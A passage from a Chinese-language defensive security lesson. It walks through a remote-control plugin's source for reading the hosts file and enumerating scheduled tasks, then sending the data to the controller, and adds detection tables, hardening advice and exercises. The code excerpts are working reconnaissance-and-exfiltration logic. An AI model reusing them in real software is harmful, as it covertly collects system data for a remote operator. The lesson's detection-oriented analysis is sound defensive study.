lstrcat(szHostsFile, _T("\\sysnative\\drivers\\etc\\hosts"));
else
lstrcat(szHostsFile, _T("\\system32\\drivers\\etc\\hosts"));
// 这里会修改 hosts 文件属性。即使后面只是读取,这一步本身也应进入审计。
SetFileAttributes(szHostsFile, FILE_ATTRIBUTE_NORMAL);
HANDLE hFile = CreateFile(szHostsFile, GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL);
// 把 hosts 文件原始内容整体读入回包。
// 防御侧要特别关注新增的域名映射、内网域名指向外部地址、更新服务器被重定向等情况。
DWORD dwSize = GetFileSize(hFile, NULL);
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwSize + 2);
ReadFile(hFile, lpBuffer + 1, dwSize, &dwRead, NULL);
CloseHandle(hFile);
lpBuffer[0] = TOKEN_MACHINE_HOSTS;
Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
计划任务通过 Task Scheduler COM 接口枚举。
// 源码位置:主插件\系统管理\系统管理\MachineManager.cpp:2085-2174
// 防御分析注释:
// 1. GetRoot 是 COMMAND_MACHINE_TASK 的落点,负责初始化 COM 和 TaskScheduler。
// 2. Connect 后从根目录开始枚举任务文件夹和任务。
// 3. 返回 TOKEN_MACHINE_TASKLIST,后续字段由 GetFolderAll 递归追加。
// 4. 计划任务名称、路径、执行文件、上次运行和下次运行时间都是持久化排查线索。
// 5. 枚举失败时也会发送空 token,主控端据此知道任务模块没有拿到数据。
PBYTE CMachineManager::GetRoot()
{
bool binit = false;
lpList = NULL;
offset = 0;
nBufferSize = 0;
// 触发点 1:初始化 COM。计划任务 2.0 API 通过 COM 接口访问。
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (SUCCEEDED(hr))
{
// 触发点 2:设置 COM 安全上下文。
// RPC_C_IMP_LEVEL_IMPERSONATE 表示服务端可在一定范围内模拟客户端身份。
hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
// 触发点 3:创建 Task Scheduler 服务对象。
hr = CoCreateInstance(CLSID_TaskScheduler, NULL,
CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&m_pService);
if (m_pService)
{
// 触发点 4:连接本机计划任务服务。
hr = m_pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (SUCCEEDED(hr))
binit = true;
}
}
// 初始化失败时仍发送 TOKEN_MACHINE_TASKLIST,避免主控端一直等待。
if (!binit)
{
BYTE bToken = TOKEN_MACHINE_TASKLIST;
Send(&bToken, 1);
return 0;
}
// 从根任务文件夹开始递归枚举。
ITaskFolder* pRootFolder = NULL;
hr = m_pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
nBufferSize = 1024 * 10;
lpList = (BYTE*)LocalAlloc(LPTR, nBufferSize);
lpList[0] = TOKEN_MACHINE_TASKLIST;
offset++;
// GetFolderAll 会继续枚举子文件夹和任务项。
// 防御侧要重点关注任务动作里的可执行文件路径和触发器。
GetFolderAll(pRootFolder);
Send((LPBYTE)lpList, (UINT)LocalSize(lpList));
LocalFree(lpList);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
这里还存在计划任务创建、运行、停止、删除分支。企业侧不需要复现这些操作,只要知道检测重点:
| 对象 | 观察点 |
|---|---|
| 任务名称 | 随机名、伪装系统名、空描述 |
| 任务路径 | 非标准目录、隐藏目录 |
| 执行文件 | 用户目录、临时目录、网络路径 |
| 触发器 | 登录、启动、定时、高频触发 |
| 时间 | 与异常登录、外联、文件落地时间关联 |
# 14. 高风险控制分支的防御说明
系统管理模块中还包含一些控制类分支,例如:
| 能力 | 源码位置 | 防御关注 |
|---|---|---|
| 窗口控制 | MachineManager.cpp:84-99 | 窗口被隐藏、关闭、最小化 |
| 进程结束/删除 | MachineManager.cpp:101-190 | OpenProcess(PROCESS_ALL_ACCESS)、TerminateProcess、文件删除 |
| 线程冻结/解冻 | MachineManager.cpp:194-239 | 线程快照、Suspend/Resume 行为 |
| 服务删除/控制 | MachineManager.cpp:1864-1944 | OpenService、StartService、ControlService、DeleteService |
| 任务创建/删除 | MachineManager.cpp:2191-2352 | Task Scheduler 写操作 |
| 注入相关 | MachineManager.cpp:2500-2816 | 远程进程内存写入、APC、远程线程等高风险行为 |
这些内容不适合按操作步骤展开。安全工程学习者应把它们当作检测面和权限边界来理解:
- 远程管理工具是否真的需要这些能力。
- 谁能触发这些命令。
- 是否有强认证、最小权限和审批。
- 是否记录命令、目标、结果和操作者。
- 是否能在 EDR/SIEM 中关联到对应主机事件。
# 15. 企业检测点

可以按五类信号建模。
| 类型 | 检测点 | 说明 |
|---|---|---|
| 资产盘点 | 进程、软件、服务、任务、hosts 枚举 | 合法工具常见,但需授权和记录 |
| 网络关联 | PID、TCP/UDP、本地/远程地址 | 把异常连接映射到进程路径和用户 |
| 权限变化 | SeDebugPrivilege、SCM、COM 初始化 | 系统对象枚举和控制前常见 |
| 持久化线索 | 服务、计划任务、hosts | 与启动项、注册表和文件落地关联 |
| 异常操作 | 终止、删除、服务控制、任务控制、注入 | 高风险行为,需高优先级告警 |
一条实用的事件关联思路:
- 进程连接远端后收到系统管理命令。
- 进程调用 Toolhelp、PSAPI、SCM、TaskScheduler、iphlpapi 等 API。
- 短时间内返回大量进程、网络、服务或软件数据。
- 同一会话后续出现服务控制、任务写入、进程结束或 hosts 修改。
- 关联进程路径、用户、签名、父进程和网络目标,判断是否为授权运维。
# 16. 安全改造建议
| 控制面 | 风险原因 | 改造建议 |
|---|---|---|
| 枚举和控制分权 | 枚举可用于资产盘点,控制类能力风险更高 | 控制类命令使用更高权限门槛 |
| 命令和目标留痕 | 没有记录就无法复盘 | 记录命令、对象、操作者、时间和结果 |
| 数据最小化 | 软件、窗口、浏览记录等可能敏感 | 只采集业务需要的字段 |
| 高风险 API 限制 | PROCESS_ALL_ACCESS、SeDebugPrivilege 风险高 | 默认禁用,按需审批 |
| 服务和任务写入保护 | 持久化常见位置 | 和文件落地、网络连接关联 |
| hosts 变化监控 | hosts 可影响解析 | 监控内容、属性和修改时间 |
# 17. 常见误区
误区一:系统管理就是正常运维。
系统管理能力本身中性,但如果缺少认证、授权和记录,同样会变成高风险远程控制能力。
误区二:只看进程列表,不看网络连接。
进程和网络要用 PID 关联。一个未知路径进程如果同时存在异常外联,风险明显更高。
误区三:服务和计划任务只看名称。
名称容易伪装。更重要的是路径、启动类型、触发器、创建时间、签名和父进程。
误区四:hosts 文件很小,不重要。
hosts 可以改变域名解析。异常 hosts 映射可能导致软件更新、登录页面或安全服务被重定向。
误区五:枚举动作没有风险。
枚举动作会暴露资产、软件、安全产品、连接和用户环境。对攻击者是侦察,对企业是检测线索。
# 18. 合法练习题
- 从
MachineManager.h中整理命令字,把它们分成“枚举类”和“控制类”。 - 画出
COMMAND_MACHINE_PROCESS -> getProcessList -> TOKEN_MACHINE_PROCESS的调用链。 - 说明如何用 PID 把进程列表和网络连接列表关联起来。
- 设计一份服务异常判断表,包含服务名、路径、启动类型、签名、创建时间。
- 设计一套合法远程运维工具的权限方案:普通用户只能枚举,高权限用户才能执行控制类操作,且必须记录。
- 从防御角度列出 hosts 文件被异常修改时应收集的证据。
# 19. 本课小结
系统管理模块展示了一个远程管理插件的完整能力面:进程、窗口、网络连接、软件、服务、计划任务、hosts 等对象都能被枚举,并通过 TOKEN_MACHINE_* 返回。
从安全工程角度看,枚举能力有合法价值,也有侦察风险;控制类能力更需要强认证、最小权限、审批和记录。企业检测时应把资产枚举、网络 PID、权限变化、服务任务 hosts、异常控制操作串成事件链,而不是孤立看单个 API。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言